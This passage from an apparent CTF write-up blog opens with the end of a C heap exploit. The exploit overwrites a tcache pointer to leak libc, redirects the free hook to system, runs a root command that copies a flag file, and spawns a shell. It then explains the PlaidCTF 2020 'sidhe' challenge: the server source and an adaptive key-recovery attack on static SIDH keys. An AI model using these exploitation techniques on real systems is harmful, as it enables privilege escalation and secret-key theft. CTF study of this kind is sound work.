        write(conns[13], "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20);
        write(conns[14], "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", 0x20);
        write(conns[15], "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC", 0x20);
        yield();
        close(conns[13]);
        yield();
    
        // bug again: overwrite tcache pointer
        size_t addr = heapbase + OFFSET_HEAP;
        write(conns[15], &addr, 7);
        close(conns[14]);
        yield();
    
        // allocates fake chunk over filler chunk 5's header
        conns[13] = conn();
        conns[14] = conn();
        write(conns[13], "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x20);
        ((size_t*)chunk)[0] = 0;
        ((size_t*)chunk)[1] = 0x811;
        ((size_t*)chunk)[2] = 0;
        ((size_t*)chunk)[3] = 0;
        write(conns[14], chunk, 0x20);
        yield();
    
        // free chunk 5
        write(conns[5], "\n", 1);
        yield();
    
        // trigger a realloc (because heap is overlapping, this will lead to problems) and send leaked data out
        write(conns[14], "YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY\n", 0x40);
        yield();
    
        // read in the libc leak
        do {
            read(conns[14], chunk, 1);
        } while(*chunk != '\n');
        read(conns[14], chunk, 0x20);
        leak = (size_t*)chunk;
        if (leak[1] == 0x811) {
            puts("libc leak not found :(");
            exit(0);
        }
        printf("leaked: %lx %lx %lx %lx\n", leak[0], leak[1], leak[2], leak[3]);
        size_t libcbase = leak[2] -= OFFSET_LIBC;
        printf("libc located at: 0x%lx\n", libcbase);
    
        // prepare to trigger the bug one last time...
        int x, y, z;
        x = conn();
        yield();
        y = conn();
        yield();
        z = conn();
        yield();
        write(x, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20);
        write(y, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", 0x20);
        write(z, "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC", 0x20);
        yield();
        close(x);
        yield();
    
        // bug again: overwrite tcache pointer to point at free hook
        addr = libcbase + OFFSET_FREE_HOOK;
        write(z, &addr, 7);
        close(y);
        yield();
    
        // get chunk overlapping the free hook, overwrite it with system
        write(conns[10], "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x20);
        yield();
        memset(chunk, 0, 0x20);
        *(size_t*)chunk = libcbase + OFFSET_SYSTEM;
        write(conns[11], chunk, 0x20);
        yield();
    
        // create chunk with command to be executed
        x = conn();
        write(x, "/bin/cp /root/flag /tmp; /bin/chmod a+r /tmp/flag\0", 0x50);
        // free the chunk, executes the command as root
        close(x);
    
        // we can now cat /tmp/flag
        fflush(stdout);
        system("/bin/sh");
        return 0;
    }
    
  • PlaidCTF 2020 - sidhe

    SIDHE

    Sidhe was a post-quatum crypto task of this year’s PlaidCTF.

    The Vulnerable Server

    We’re given network access to a server and it’s source code:

    import hashlib
    from Crypto.Cipher import AES
    import sys
    assert(sys.version_info.major >= 3)
    
    # SIDH parameters from SIKEp434
    # using built-in weierstrass curves instead of montgomery curves because i'm lazy
    e2 = 0xD8
    e3 = 0x89
    p = (2^e2)*(3^e3)-1
    K.<ii> = GF(p^2, modulus=x^2+1)
    E = EllipticCurve(K, [0,6,0,1,0])
    xP20 = 0x00003CCFC5E1F050030363E6920A0F7A4C6C71E63DE63A0E6475AF621995705F7C84500CB2BB61E950E19EAB8661D25C4A50ED279646CB48
    xP21 = 0x0001AD1C1CAE7840EDDA6D8A924520F60E573D3B9DFAC6D189941CB22326D284A8816CC4249410FE80D68047D823C97D705246F869E3EA50
    yP20 = 0x0001AB066B84949582E3F66688452B9255E72A017C45B148D719D9A63CDB7BE6F48C812E33B68161D5AB3A0A36906F04A6A6957E6F4FB2E0
    yP21 = 0x0000FD87F67EA576CE97FF65BF9F4F7688C4C752DCE9F8BD2B36AD66E04249AAF8337C01E6E4E1A844267BA1A1887B433729E1DD90C7DD2F
    xQ20 = 0x0000C7461738340EFCF09CE388F666EB38F7F3AFD42DC0B664D9F461F31AA2EDC6B4AB71BD42F4D7C058E13F64B237EF7DDD2ABC0DEB0C6C
    xQ21 = 0x000025DE37157F50D75D320DD0682AB4A67E471586FBC2D31AA32E6957FA2B2614C4CD40A1E27283EAAF4272AE517847197432E2D61C85F5
    yQ20 = 0x0001D407B70B01E4AEE172EDF491F4EF32144F03F5E054CEF9FDE5A35EFA3642A11817905ED0D4F193F31124264924A5F64EFE14B6EC97E5
    yQ21 = 0x0000E7DEC8C32F50A4E735A839DCDB89FE0763A184C525F7B7D0EBC0E84E9D83E9AC53A572A25D19E1464B509D97272AE761657B4765B3D6
    xP30 = 0x00008664865EA7D816F03B31E223C26D406A2C6CD0C3D667466056AAE85895EC37368BFC009DFAFCB3D97E639F65E9E45F46573B0637B7A9
    xP31 = 0x00000000
    yP30 = 0x00006AE515593E73976091978DFBD70BDA0DD6BCAEEBFDD4FB1E748DDD9ED3FDCF679726C67A3B2CC12B39805B32B612E058A4280764443B
    yP31 = 0x00000000
    xQ30 = 0x00012E84D7652558E694BF84C1FBDAAF99B83B4266C32EC65B10457BCAF94C63EB063681E8B1E7398C0B241C19B9665FDB9E1406DA3D3846
    xQ31 = 0x00000000
    yQ30 = 0x00000000
    yQ31 = 0x0000EBAAA6C731271673BEECE467FD5ED9CC29AB564BDED7BDEAA86DD1E0FDDF399EDCC9B49C829EF53C7D7A35C3A0745D73C424FB4A5FD2
    P2 = E(xP20+ii*xP21, yP20+ii*yP21)
    Q2 = E(xQ20+ii*xQ21, yQ20+ii*yQ21)
    P3 = E(xP30+ii*xP31, yP30+ii*yP31)
    Q3 = E(xQ30+ii*xQ31, yQ30+ii*yQ31)
    
    def elem_to_coefficients(x):
        l = x.polynomial().list()
        l += [0]*(2-len(l))
        return l
    
    def elem_to_bytes(x):
        n = ceil(log(p,2)/8)
        x0,x1 = elem_to_coefficients(x) # x == x0 + ii*x1
        x0 = ZZ(x0).digits(256, padto=n)
        x1 = ZZ(x1).digits(256, padto=n)
        return bytes(x0+x1)
    
    def isogen3(sk3):
        Ei = E
        P = P2
        Q = Q2
        S = P3+sk3*Q3
        for i in range(e3):
            # Give generator of subgroup
            phi = Ei.isogeny((3^(e3-i-1))*S)
            # Ei = target curve of isogeny
            Ei = phi.codomain()
            # points on target curve
            S = phi(S)
            P = phi(P)
            Q = phi(Q)
        return (Ei,P,Q)
    
    def isoex3(sk3, pk2):
        Ei, P, Q = pk2
        S = P+sk3*Q
        for i in range(e3):
            R = (3^(e3-i-1))*S
            phi = Ei.isogeny(R)
            Ei = phi.codomain()
            S = phi(S)
        return Ei.j_invariant()
    
    def recv_K_elem(prompt):
        print(prompt)
        re = ZZ(input("  re: "))
        im = ZZ(input("  im: "))
        return K(re + ii*im)
    
    supersingular_cache = set()
    def is_supersingular(Ei):
        a = Ei.a_invariants()
        if a in supersingular_cache:
            return True
        result = Ei.is_supersingular(proof=False)
        if result:
            supersingular_cache.add(a)
        return result
    
    def recv_and_validate_pk2():
        print("input your public key:")
        a1 = recv_K_elem("a1: ")
        a2 = recv_K_elem("a2: ")
        a3 = recv_K_elem("a3: ")
        a4 = recv_K_elem("a4: ")
        a6 = recv_K_elem("a6: ")
        Ei = EllipticCurve(K, [a1,a2,a3,a4,a6])
        assert(is_supersingular(Ei))
        Px = recv_K_elem("Px: ")
        Py = recv_K_elem("Py: ")
        P = Ei(Px, Py)
        Qx = recv_K_elem("Qx: ")
        Qy = recv_K_elem("Qy: ")
        Q = Ei(Qx, Qy)
        assert(P*(3^e3) == Ei(0) and P*(3^(e3-1)) != Ei(0))
        assert(Q*(3^e3) == Ei(0) and Q*(3^(e3-1)) != Ei(0))
        assert(P.weil_pairing(Q, 3^e3) == (P3.weil_pairing(Q3, 3^e3))^(2^e2))
        return (Ei, P, Q)
    
    def main():
        sk3 = randint(1,3^e3-1)
        pk3 = isogen3(sk3)
        print("public key:")
        print("a1:", elem_to_coefficients(pk3[0].a1()))
        print("a2:", elem_to_coefficients(pk3[0].a2()))
        print("a3:", elem_to_coefficients(pk3[0].a3()))
        print("a4:", elem_to_coefficients(pk3[0].a4()))
        print("a6:", elem_to_coefficients(pk3[0].a6()))
        print("Px:", elem_to_coefficients(pk3[1][0]))
        print("Py:", elem_to_coefficients(pk3[1][1]))
        print("Qx:", elem_to_coefficients(pk3[2][0]))
        print("Qy:", elem_to_coefficients(pk3[2][1]))
        super_secret_hash = hashlib.sha256(str(sk3).encode('ascii')).digest()[:16]
    
        for _ in range(300):
            try:
                # SIDH key exchange
                pk2 = recv_and_validate_pk2()
                shared = isoex3(sk3, pk2)
                key = hashlib.sha256(elem_to_bytes(shared)).digest()
                # test shared key
                cipher = AES.new(key, AES.MODE_ECB)
                ciphertext = input("ciphertext: ")
                plaintext = cipher.decrypt(bytes.fromhex(ciphertext))
                if plaintext == super_secret_hash:
                    print("How did you find my secret? Here, have a flag:")
                    with open("flag.txt","r") as f:
                        print(f.read())
                    return
                elif plaintext == b"Hello world.\x00\x00\x00\x00":
                    print("Good ciphertext.")
                else:
                    print("Bad ciphertext!")
            except:
                print("Validation error!")
                return
    
    if __name__ == '__main__':
        main()
    

    This code implements a Supersingular isogeny Diffie–Hellman key exchange (SIDH), specifically the De Feo, Jao, and Plut Scheme. This is a post-quantum key exchange mechanism based on graphs of isogenies ϕ\phi (the edges) between supersingular elliptic curves EE (the vertices). The goal here is to recover the private key of the server.

    The code reuses the private key portion sk3 up to 300 times. Also, it offers an oracle to determine if a shared key is valid, by decrypting a user suplied ciphertext. It also includes validation logic using the Weil pairing assert(P.weil_pairing(Q, 3^e3) == (P3.weil_pairing(Q3, 3^e3))^(2^e2)) to check independece of the supplied points by verfying their order.

    In this scheme, Alice chooses a large random number α\alpha as private key. Then she calculates an isogeny ϕa\phi_a from this number and two predefined points PAP_A, PBP_B in the E[2n]E[2^n] torsion group of the scheme’s supersingular elliptic curve EE. She then sends the parameters (EA=ϕA(E),ϕA(PB),ϕA(QB))(E_A = \phi_A(E), \phi_A(P_B), \phi_A(Q_B)) to Bob. Bob does essentially the same calculation, but in E[3n]E[3^n]. Once Alice receives Bob’s parameters (EB=ϕB(E),ϕB(PA),ϕB(QA))(E_B = \phi_B(E), \phi_B(P_A), \phi_B(Q_A)), she can calculate the isogeny from EBE_B by using her private key ϕB(PA)+αϕB(QA)\phi_B(P_A) + \alpha \phi_B(Q_A).

    The scheme is illustrated in this graph (taken from the original publication):

    SIDH

    Static SIDH Attack

    Reusing private keys in Diffie Hellman is a common use case, called static DH. With SIDH however, it is a very bad idea to use non-ephemeral keys. Since we have an oracle that tells us if a shared key is correct or not, we can employ an adaptive attack to recover the private key bit-by-bit (or actually trit-by-trit here).

    As you can see in the code, the j-invariant is used as the shared key return Ei.j_invariant(). That is because the scheme guarantees that both parties end up on isomprphic curves, but not neccessarily on the same curve. The trick behind this attack is to calculate a legitimate isogeny giving (EB=ϕB(E),R=ϕB(PA),S=ϕB(QA))(E_B = \phi_B(E), R=\phi_B(P_A), S=\phi_B(Q_A)) and doing the key exchange as Bob. Now we received a shared key in the form of a j-invariant of the agreed upon curve isomphism class. To recover the first bit of Alice’s private key we’ll then supply the values (EB=ϕB(E),R,S+2n1R)(E_B = \phi_B(E), R, S+2^{n-1}R). Alice (the server) will now compute R+α(S+2n1R)R + \alpha (S+2^{n-1}R) and calculate a shared key based on the result. Since RR has order 2n2^n, it holds that α(S+2n1R)=S\alpha (S+2^{n-1}R) = S iff α\alpha is even, because then:

    αS+α222n1R=αS+α22nR=αS+α20=αS\alpha S + \frac{\alpha}{2} \cdot 2 \cdot 2^{n-1}R = \alpha S + \frac{\alpha}{2} \cdot 2^{n}R = \alpha S+ \frac{\alpha}{2} \cdot 0 = \alpha S

    So only if alpha is even, the shared key will be equal to the original (legitimate) one. Because of this, we just recovered the lowest bit of Alice’s private key. With the same trick we can recover all bits of the private key. For mathematical background information of the attack see this paper on insecurities of SIDH. To bypass the check via Weil pairing we need to include a scaling factor θ\theta. However, that is not possible for the highest bits. We therefore have to brute force a hand-ful of bits offline, which is not a problem.

    Exploit

    The given server code does the computation on E[3n]E[3^n], so it is actually playing Bob not Alice. However, the Static SIDH attack works exactly the same. The only difference is that we view the server key in trits instead of bits: α=α0+α131++αi3i\alpha= \alpha_0 + \alpha_1\cdot3^1 + \ldots + \alpha_i\cdot3^i. Since a trit can have three possible values instead of two, we need to query the oracle more often per ‘position’. An that’s all!

    A full exploit script (by manf since he was faster than me :/) can be found here.